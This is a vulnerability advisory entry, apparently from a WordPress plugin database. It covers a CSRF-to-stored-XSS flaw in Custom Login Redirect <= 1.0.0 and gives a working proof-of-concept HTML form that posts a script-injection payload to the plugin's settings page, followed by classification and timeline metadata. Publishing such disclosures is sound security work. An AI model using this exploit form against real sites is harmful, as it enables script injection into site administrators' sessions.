WordPress Plugin Vulnerabilities
Custom Login Redirect <= 1.0.0 - CSRF to Stored XSS
Description
The plugin does not have CSRF check in place when saving its settings, and do not sanitise or escape user input before outputting them back in the page, leading to a Stored Cross-Site Scripting issue
Proof of Concept
<html> <body> <form action="https://example.com/wp-admin/options-general.php?page=custom_login_redirect" method="POST"> <input type="hidden" name="custom_login_redirect_display" value="no" /> <input type="hidden" name="custom_login_redirect" value='"><script>alert(/XSS/)</script>' /> <input type="hidden" name="Submit" value="Update Options »" /> <input type="submit" value="Submit request" /> </form> </body> </html>
Affects Plugins
References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Vinay Bhuria
Submitter
vinay bhuria
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-07-19 (about 2 years ago)
Added
2021-07-19 (about 2 years ago)
Last Updated
2022-04-12 (about 2 years ago)